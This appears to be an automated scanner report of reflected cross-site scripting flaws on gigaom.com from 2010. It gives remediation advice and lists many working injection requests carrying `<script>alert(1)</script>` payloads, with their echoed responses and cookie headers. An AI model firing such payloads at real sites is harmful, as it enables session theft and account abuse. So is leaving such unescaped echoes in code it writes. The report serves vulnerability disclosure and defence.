Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://gigaom.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload eb5e0'><script>alert(1)</script>a917aeb9ccd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as eb5e0\'><script>alert(1)</script>a917aeb9ccd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?eb5e0'><script>alert(1)</script>a917aeb9ccd=1 HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1291197854.1
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 21:14:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Vary: Accept-Encoding Content-Length: 94161
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7aea5'><script>alert(1)</script>45bb31e86a6 was submitted in the REST URL parameter 4. This input was echoed as 7aea5\'><script>alert(1)</script>45bb31e86a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2010/12/21/google7aea5'><script>alert(1)</script>45bb31e86a6...s-big-problem-it-ain...t-what-you-think/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:29:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:29:46 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 82409
The value of REST URL parameter 1 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c6015(a)7024afbf955 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /a0f22'><script>alert(1)<c6015(a)7024afbf955/script>4b0c268c7c9 HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:19:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:19:20 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 82003
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Timer: [Init] 0.163 | 0.163 --><html xmlns="http://www.w3.org/1999/xhtml" ...[SNIP]... <c6015(a)7024afbf955/script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f5818(a)571a4b4c35d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /a0f22'><script>alert(1)</f5818(a)571a4b4c35d HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:19:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:19:56 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 81842
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Timer: [Init] 0.145 | 0.145 --><html xmlns="http://www.w3.org/1999/xhtml" ...[SNIP]... </f5818(a)571a4b4c35d/page/2/' class='go-page'> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e7c3f<script>alert(1)</script>f3bf10e184c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /a0f22'><script>alert(1)</script>4b0c268c7c9e7c3f<script>alert(1)</script>f3bf10e184c HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:20:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:20:05 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 82212
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Timer: [Init] 0.145 | 0.145 --><html xmlns="http://www.w3.org/1999/xhtml" ...[SNIP]... </script>4b0c268c7c9e7c3f<script>alert(1)</script>f3bf10e184c/page/2/' class='go-page'> ...[SNIP]...
1.6. http://gigaom.com/a0f22'>4b0c268c7c9 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/a0f22'><script>alert(1)</script>4b0c268c7c9
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 55644<script>alert(1)</script>cbe21b13e10 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /a0f22'><script>alert(1)</script>4b0c268c7c9?55644<script>alert(1)</script>cbe21b13e10=1 HTTP/1.1 Host: gigaom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; __utmc=84586511; __utmb=84586511.1.10.1293655551; __qca=P0-1294378727-1293655574026; _bizo_cksm_crc32=EE5AA7C4; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; km_lv=x; km_uq=
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:19:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:19:05 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 82231
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Timer: [Init] 0.164 | 0.164 --><html xmlns="http://www.w3.org/1999/xhtml" ...[SNIP]... </script>4b0c268c7c9/page/2/?55644<script>alert(1)</script>cbe21b13e10=1' class='go-page'> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bc9bf'><script>alert(1)</script>a933f42a50b was submitted in the REST URL parameter 2. This input was echoed as bc9bf\'><script>alert(1)</script>a933f42a50b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apple/how-apple-should-protect-the-app-gapbc9bf'><script>alert(1)</script>a933f42a50b/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=EE5AA7C4; __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.1.10.1293655551;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 21:14:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 21:14:48 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 81580
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 92688'><script>alert(1)</script>99c053ea39b was submitted in the REST URL parameter 3. This input was echoed as 92688\'><script>alert(1)</script>99c053ea39b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apple/topic/mobile-apps92688'><script>alert(1)</script>99c053ea39b/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=EE5AA7C4; __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.1.10.1293655551;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 21:14:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Link: <http://wp.me/10LZV>; rel=shortlink Content-Length: 40559
1.9. http://gigaom.com/apple/topic/mobile-apps/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/apple/topic/mobile-apps/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6411b'><script>alert(1)</script>5d380f4cd5c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6411b\'><script>alert(1)</script>5d380f4cd5c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apple/topic/mobile-apps/?6411b'><script>alert(1)</script>5d380f4cd5c=1 HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=EE5AA7C4; __utmz=84586511.1291197854.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/8; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1291197854.1293655551.2; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.1.10.1293655551;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 21:14:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 53079
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 86213'><script>alert(1)</script>39959eb7068 was submitted in the REST URL parameter 2. This input was echoed as 86213\'><script>alert(1)</script>39959eb7068 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cleantech/lithium-ion-battery-startup-actacell-gains-partners-funds86213'><script>alert(1)</script>39959eb7068/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:26:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:26:42 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 81276
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7e517'><script>alert(1)</script>926cd2852b1 was submitted in the REST URL parameter 3. This input was echoed as 7e517\'><script>alert(1)</script>926cd2852b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cleantech/topic/electric-vehicles7e517'><script>alert(1)</script>926cd2852b1/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:26:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Link: <http://wp.me/10LZV>; rel=shortlink Content-Length: 40641
1.12. http://gigaom.com/cleantech/topic/electric-vehicles/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/cleantech/topic/electric-vehicles/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9068b'><script>alert(1)</script>9683bc7428b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9068b\'><script>alert(1)</script>9683bc7428b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cleantech/topic/electric-vehicles/?9068b'><script>alert(1)</script>9683bc7428b=1 HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:25:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 53612
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b5ef7'><script>alert(1)</script>a852982e6c5 was submitted in the REST URL parameter 1. This input was echoed as b5ef7\'><script>alert(1)</script>a852982e6c5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:13:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:13:19 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 79725
1.14. http://gigaom.com/cloud/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/cloud/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6b9a0'><script>alert(1)</script>34eb5f4a1b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6b9a0\'><script>alert(1)</script>34eb5f4a1b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:12:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Vary: Accept-Encoding Content-Length: 93202
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8a919'><script>alert(1)</script>533bd8d3c4c was submitted in the REST URL parameter 2. This input was echoed as 8a919\'><script>alert(1)</script>533bd8d3c4c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:13:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:13:43 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Vary: Accept-Encoding Content-Length: 80135
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bd9e8'><script>alert(1)</script>2a779cf623e was submitted in the REST URL parameter 2. This input was echoed as bd9e8\'><script>alert(1)</script>2a779cf623e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cloud/the-9-companies-that-drove-cloud-computing-in-10bd9e8'><script>alert(1)</script>2a779cf623e/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 404 Not Found Server: nginx Date: Wed, 29 Dec 2010 23:26:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Wed, 29 Dec 2010 23:26:58 GMT Cache-Control: no-cache, must-revalidate, max-age=60 Pragma: no-cache Content-Length: 80411
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 445d2'><script>alert(1)</script>1d9a0c2087c was submitted in the REST URL parameter 3. This input was echoed as 445d2\'><script>alert(1)</script>1d9a0c2087c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cloud/topic/the-cloud445d2'><script>alert(1)</script>1d9a0c2087c/ HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:26:57 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Cookie X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Link: <http://wp.me/10LZV>; rel=shortlink Content-Length: 40285
1.18. http://gigaom.com/cloud/topic/the-cloud/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gigaom.com
Path:
/cloud/topic/the-cloud/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8a920'><script>alert(1)</script>dc06b681c59 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8a920\'><script>alert(1)</script>dc06b681c59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cloud/topic/the-cloud/?8a920'><script>alert(1)</script>dc06b681c59=1 HTTP/1.1 Host: gigaom.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: km_lv=x; _bizo_cksm_crc32=4C27A67A; _chartbeat2=elolz4vo8k6q2ixr; __utmz=84586511.1293657266.3.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/2; km_ai=uUhkepNRIcqDcNZwDZGaodrmMuk; __utma=84586511.1656983113.1291197854.1293655551.1293657266.3; km_uq=; __utmc=84586511; __qca=P0-1294378727-1293655574026; __utmb=84586511.2.10.1293657266;
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Dec 2010 23:25:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://gigaom.com/xmlrpc.php Content-Length: 51694
